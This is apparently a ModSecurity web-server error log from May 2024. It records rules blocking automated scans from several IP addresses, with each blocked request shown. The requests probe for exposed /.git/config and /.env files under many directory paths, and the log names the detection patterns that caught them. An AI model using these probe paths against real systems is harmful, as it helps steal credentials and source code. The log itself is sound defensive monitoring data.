[Thu May 09 04:39:59.795774 2024] [:error] [pid 3089373] [client 91.215.85.43:46424] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_eAAAAAg&quot;]
[Thu May 09 04:39:59.795987 2024] [:error] [pid 3089373] [client 91.215.85.43:46424] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_eAAAAAg&quot;]
[Thu May 09 04:39:59.832989 2024] [:error] [pid 3087046] [client 91.215.85.43:46440] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5UQAAAAQ&quot;]
[Thu May 09 04:39:59.833429 2024] [:error] [pid 3087046] [client 91.215.85.43:46440] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5UQAAAAQ&quot;]
[Thu May 09 04:39:59.833848 2024] [:error] [pid 3087046] [client 91.215.85.43:46440] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5UQAAAAQ&quot;]
[Thu May 09 04:39:59.835043 2024] [:error] [pid 3087044] [client 91.215.85.43:46408] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__gAAAAI&quot;]
[Thu May 09 04:39:59.835534 2024] [:error] [pid 3087044] [client 91.215.85.43:46408] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__gAAAAI&quot;]
[Thu May 09 04:39:59.835902 2024] [:error] [pid 3087044] [client 91.215.85.43:46408] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__gAAAAI&quot;]
[Thu May 09 04:39:59.863190 2024] [:error] [pid 3087047] [client 91.215.85.43:46418] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZgAAAAU&quot;]
[Thu May 09 04:39:59.863896 2024] [:error] [pid 3087047] [client 91.215.85.43:46418] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZgAAAAU&quot;]
[Thu May 09 04:39:59.864332 2024] [:error] [pid 3087047] [client 91.215.85.43:46418] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZgAAAAU&quot;]
[Thu May 09 04:39:59.864995 2024] [:error] [pid 3087474] [client 91.215.85.43:46448] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPgAAAAY&quot;]
[Thu May 09 04:39:59.865357 2024] [:error] [pid 3087474] [client 91.215.85.43:46448] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPgAAAAY&quot;]
[Thu May 09 04:39:59.865638 2024] [:error] [pid 3087474] [client 91.215.85.43:46448] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPgAAAAY&quot;]
[Thu May 09 04:39:59.868123 2024] [:error] [pid 3087045] [client 91.215.85.43:46444] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /alpha/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64FAAAAAM&quot;]
[Thu May 09 04:39:59.868495 2024] [:error] [pid 3087045] [client 91.215.85.43:46444] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64FAAAAAM&quot;]
[Thu May 09 04:39:59.868835 2024] [:error] [pid 3087045] [client 91.215.85.43:46444] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64FAAAAAM&quot;]
[Thu May 09 04:39:59.872855 2024] [:error] [pid 3088694] [client 91.215.85.43:46464] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FzAAAAAc&quot;]
[Thu May 09 04:39:59.873263 2024] [:error] [pid 3088694] [client 91.215.85.43:46464] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FzAAAAAc&quot;]
[Thu May 09 04:39:59.873277 2024] [:error] [pid 3087043] [client 91.215.85.43:46462] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSigAAAAE&quot;]
[Thu May 09 04:39:59.873613 2024] [:error] [pid 3088694] [client 91.215.85.43:46464] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FzAAAAAc&quot;]
[Thu May 09 04:39:59.873637 2024] [:error] [pid 3087043] [client 91.215.85.43:46462] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSigAAAAE&quot;]
[Thu May 09 04:39:59.873922 2024] [:error] [pid 3087043] [client 91.215.85.43:46462] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSigAAAAE&quot;]
[Sun May 12 02:22:27.398172 2024] [:error] [pid 3152282] [client 193.32.162.99:38464] [client 193.32.162.99] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZkALwz_fRqOkeUxlnCWB4gAAAAY&quot;]
[Sun May 12 02:22:27.399821 2024] [:error] [pid 3152282] [client 193.32.162.99:38464] [client 193.32.162.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZkALwz_fRqOkeUxlnCWB4gAAAAY&quot;]
[Sun May 12 02:22:27.400285 2024] [:error] [pid 3152282] [client 193.32.162.99:38464] [client 193.32.162.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZkALwz_fRqOkeUxlnCWB4gAAAAY&quot;]
[Mon May 13 18:13:34.048750 2024] [:error] [pid 3186444] [client 103.102.228.23:51082] [client 103.102.228.23] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZkI8LgLVbAvhga_cVdDMeAAAAAs&quot;]
[Mon May 13 18:13:34.049455 2024] [:error] [pid 3186444] [client 103.102.228.23:51082] [client 103.102.228.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZkI8LgLVbAvhga_cVdDMeAAAAAs&quot;]
[Mon May 13 18:13:34.049978 2024] [:error] [pid 3186444] [client 103.102.228.23:51082] [client 103.102.228.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZkI8LgLVbAvhga_cVdDMeAAAAAs&quot;]
[Tue May 14 07:50:00.499882 2024] [:error] [pid 3203918] [client 43.204.230.150:50862] [client 43.204.230.150] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZkL7iBX3kMM4UvPfXTgLawAAAAI&quot;]
[Tue May 14 07:50:00.500310 2024] [:error] [pid 3203918] [client 43.204.230.150:50862] [client 43.204.230.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZkL7iBX3kMM4UvPfXTgLawAAAAI&quot;]
[Tue May 14 07:50:00.500595 2024] [:error] [pid 3203918] [client 43.204.230.150:50862] [client 43.204.230.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZkL7iBX3kMM4UvPfXTgLawAAAAI&quot;]
[Wed May 15 00:01:02.153644 2024] [:error] [pid 3218284] [client 103.102.228.23:55098] [client 103.102.228.23] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZkPfHnuYO945EzRsKsRvqQAAAAg&quot;]
